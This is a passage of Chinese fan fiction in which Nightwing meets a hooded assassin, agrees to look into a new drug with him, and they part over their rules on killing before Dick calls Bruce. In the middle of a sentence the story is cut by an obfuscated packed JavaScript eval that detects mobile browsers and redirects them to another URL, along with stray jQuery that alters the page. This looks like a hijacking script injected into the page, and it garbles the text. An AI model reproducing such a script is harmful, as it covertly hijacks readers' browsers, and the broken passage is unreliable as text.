话说出口,刺客才意识到不对劲。夜翼无言地看着他,原本板着的脸有点儿松动了,没忍住露出一个笑来。月光从云朵里透出来,投到了他们身上,刺客发现夜翼的紧身衣是真的很紧身,不由得尴尬地移开了视线。
“你看够了?”夜翼还问他。
轮到刺客板着脸了,“我不是那个意思。”
夜翼居然笑出了声。刺客转回视线,谴责地盯着他瞧,但夜翼没再追着他问了,只是很自然地转移了话题,“我听说布鲁德海文大学的枪杀案是你阻止的。”
刺客没否认,“我也听说你是这座城市的义警。”
夜翼也看着他,“嗯哼。”
“你检查过那具尸体吗?”刺客直白地问。
夜翼想不到他这么快切入正题的同时,又很诧异他说的“那具”尸体究竟是哪一具。但他脑子一转,很快反应过来,刺客指的应该是那个流浪汉。
“它怎么了?”夜翼不动声色地把问题抛了回去。
“他生前吸入了大量毒品,”刺客就说,“我在靠近的时候闻到了那股味道。我知道大多数毒品闻起来是什么样的,但他身上的味道有点特别,所以我就在想,那会不会是一种新型毒品?”
夜翼吃惊地看了他一会儿,然后表情就严肃了许多。
“是的。”义警很肯定地告诉刺客,“我也发现了,布鲁德海文最近流行起一款新型毒品,见效更快,也更疯狂。你在追查这件事吗?”
刺客点点头,“你有线索吗?”
夜翼看着他,张了张嘴,又闭上了。他沉默了一会儿,也很诚实地回答,“我有怀疑的对象,但还没找到证据。”
刺客没问他的怀疑对象是谁,蹲在那儿摸了摸下巴,然后就问,“合作吗?”
夜翼学着他的样子,也摸了摸下巴,“我好像没有拒绝的理由。”
他确实没有拒绝的理由。只不过超英之间的合作似乎通常由一顿互殴开始,又或者一次意外的误会,又或者一些乱七八糟的碰撞,总之伴随着激烈的肢体冲突和(可能存在的)恶劣挑衅,以至于夜翼竟然有点儿微妙的不适应。
这倒不是说他会喜欢那种合作开头。夜翼自认为是个又善良又正经的好超英,没有那种揍人或者被揍的特殊爱好。
要是所有人都能这样平和地问一句“合作吗”该多好?想到这里,夜翼瞧着刺客的眼神不由得友善了许多。但以防万一,他还是问了一句,“如果我拒绝,你会怎么样?”
不知道为什么,刺客笑了一声。
“我打赌我会做一件你绝对想不到的事情。”
夜翼有点儿警惕,“哦?”
“真的,你绝对想不到。”刺客歪了一下脑袋,“你敢和我打赌吗?”
刚刚年过二十的夜翼立刻就说,“有什么不敢的?”
原本蹲在那儿的刺客于是活动了起来,伸展了一下身体。在这么做的时候,他一直低头瞧着夜翼,后者也抱着胳膊,歪着脑袋看他。一直到刺客站了起来,夜翼也没什么动作,只是注视着刺客,以一个有点警惕,但也只有一点警惕的表情。
“我会去买点薯条吃,”刺客扬了扬下巴,“忙了一晚上,我有点饿了。你想不想一起来?”
夜翼一静。
刺客补充说,“刚出炉的那种,炸得香喷喷、金灿灿的薯条。”
夜翼终于忍不住笑了起来,“那要是我既想和你走,又不想拒绝你,我该怎么办呢?”
刺客也笑了,“你是笨蛋吗?”
“我是,”夜翼爽快地承认了,“快走吧,我也已经饿得要命了。”
输了打赌的夜翼大大方方地请了这一顿,刺客也坦然接受了。他们坐在高高的楼顶上,分享着夜宵和信息。四月里的风柔和地吹到他们身上,刺客的兜帽和夜翼的黑发在那儿沙沙地起伏着。
“布鲁德海文是一锅浓汤,炖满了帮派势力,”夜翼咬着一个圆滚滚的汉堡,两边脸蛋鼓鼓地告诉刺客,“你会发现你很难在这锅浓汤里精准地捞到你想要的那颗西兰花。”
他早就发现了这种新型毒品,花了一段时间才逐渐总结出一点儿规律,认为它经常出现在梅尔维尔区。但光是这块区域就有很多个大小势力了。
“我怀疑一个叫‘索恩’的帮派老大。”夜翼总结,“我已经问过其他人了,只剩他没回答我的问题。”
“你不会恰好知道他在哪吧?”刺客就问。
“我当然不知道。”夜翼笑了,“要是我知道,我就直接上门问他了。”
刺客也笑了,“像‘问’刚才那个硬汉一样‘问’他?”
“当然了,笨蛋。”
刺客已经够自来熟的了,没想到夜翼居然能比他还自来熟,顿时甘拜下风,低头捡薯条吃。坐在食物另一边的夜翼终于咽下去那只汉堡,满意地拍了拍手上的碎屑。
“你确定要和我合作吗?”夜翼问。
“我们在同一座城市里活动,碰上是迟早的事情,”刺客咬着橙汁吸管,含糊地回答,“合作总比敌对好。”
夜翼假装很遗憾地叹一口气,“我还以为你被我的人格魅力吸引了呢。”
刺客噗嗤一声笑了,“少来。”
“你看,我又把你逗笑了。”
“你才没有。”
夜翼笑了一会儿。这阵有来有往、意外合拍的插科打诨不由得让他产生了一种温暖的幻觉,就好像他们认识了很久,已经是很好的朋友似的。但他很快清醒过来,说起了正事,“如果你要和我合作,有一件事情我必须让你知道。”
“请说。”
“我不杀人。”夜翼说,“原则性的那种。”
夜翼能听出来刺客吸橙汁的声音短暂地停止了几秒钟。兜帽下的眼睛在无声地打量着他。要是换做动物语言,两个人互相盯着,大约就是要打起来的意思了。幸好人类语言不讲这个,但刚才那阵温暖的,美妙的气氛,仍然像是被冰冷的现实瀑布兜头浇没了。
他杀人,但夜翼不。
这就是个(看似)不可调和的矛盾了。
但就在夜翼凝神等待着刺客可能会发起的辩论时,刺客重新开始吸那杯快喝完的橙汁了。
“你和蝙蝠侠什么关系?”他说。
“嗯?”夜翼猝不及防,“我…蝙蝠侠……等等,这和我们刚才的话题有关系吗?你认识蝙蝠侠?”
好拙劣的反击。夜翼不由得想。
但任何一个被问到“你和你爸什么关系”的人大概都会是这个反应。那可是蝙蝠侠!他又是第一任罗宾!
到底谁会问罗宾和蝙蝠侠是什么关系?!
“我不认识,”刚刚问出这种惊天问题的刺客这时候很坦然地回答,“但我听说他不杀人,而他就在哥谭,你就在布鲁德海文,你们这么近……”
“好了,够了,”夜翼没忍住扶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179415|196943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下额头,“这不是重点。这就是你的全部反应吗?对我那句‘我不杀人’的反应?”
刺客叹了口气,“你想听点直接的?”
“直接点。”
“我也有一条类似的原则,”刺客搁下了那只空荡荡的纸杯,“但比你多一个词。我不杀无辜的人。”
夜翼没说话,只是抿紧了嘴唇。他们互相看了一会儿,没有人再询问或试探关于“原则”的细枝末节,也没有人开口劝说另一个人放弃他的原则。
“真可惜,”刺客随后说,“我还挺喜欢你的。希望我们不会成为敌人。”
“我真希望我们能成为朋友。”夜翼则说。
刺客笑了。他拉上面罩,站了起来,“谢谢你的麦当劳。要是有机会的话,下次我请。”
他们以一种很优雅的方式谈崩了。
这种没打架的谈崩方式实在让人心里有点难受,很容易给人一种“要是再聊聊他们就能改变现状”的错觉。但凡他们怒气冲冲地吵了一架,打了起来,此时一定没有一点儿留恋地转身就走了,但问题就在于他们没有。
他们甚至展现出了相当的友好,尊重和礼貌。
于是这阵虚幻的“本能改变”的错觉笼罩了被遗留在原地的夜翼,就像是一只蝴蝶在上空扑闪着它的翅膀;而夜翼被那美丽多彩的磷粉洒了一身,很轻易地生出一点儿忧郁遗憾的情绪来。
我还不知道他叫什么。夜翼忽然想到。
“晚安,夜翼,”刺客向他致意,“祝你做个好梦。”
“等等,”夜翼想到什么就说什么,“我还不知道你的名字。”
“名字?”
“代号?”
正要离开的刺客惊讶地顿了一下。他踩在楼顶边缘,回头看了一眼夜翼。
“我没有代号,”刺客说,“但你可以叫我‘刺客’。”
·
“他说他是个刺客,”夜翼问,“你有什么头绪吗?”
他正光着脚站在他公寓里的地板上,忙着脱掉那层过于紧身的制服。在打着电话的时候,迪克板着脸,试图摆出一副很严肃的样子,虽然他知道电话对面理论上来说应该看不见他的表情。理论上。
“这个世界上有很多刺客。”
布鲁斯回答得很客观,但迪克很怀疑他是在装傻。
“是啊,”迪克就很不客气地说,“你还和其中一个有了个孩子呢。”
布鲁斯一点儿也没受影响,“你认为他和刺客联盟有关系?”
“才不。”迪克想了想,“好吧,我一开始可能是这么想的。他的穿着打扮都很像是刺客联盟的刺客,你懂的,用兜帽把自己遮得严严实实的那一套。但他后来说他不杀无辜的人。”
他们都知道刺客联盟的刺客可不管无辜不无辜的。接到命令,杀就完了。
果然,布鲁斯若有所思地哼了一声。迪克听了,眼睛立刻一亮,“你知道!”
“我还什么都没说呢。”
“你哼的方式不一样,”迪克肯定极了,“你哼的是‘哼嗯’而不是‘嗯哼’,要是你只是表示你知道了,你就不会‘哼嗯’了。”
“好吧,被你看穿了,”布鲁斯笑了,“我确实可能有点儿线索。”
迪克得意洋洋,“我就知道。”
然后,出乎意料地,布鲁斯就问了他一个看似风马牛不相及的问题,“你玩过‘刺客信条’吗?”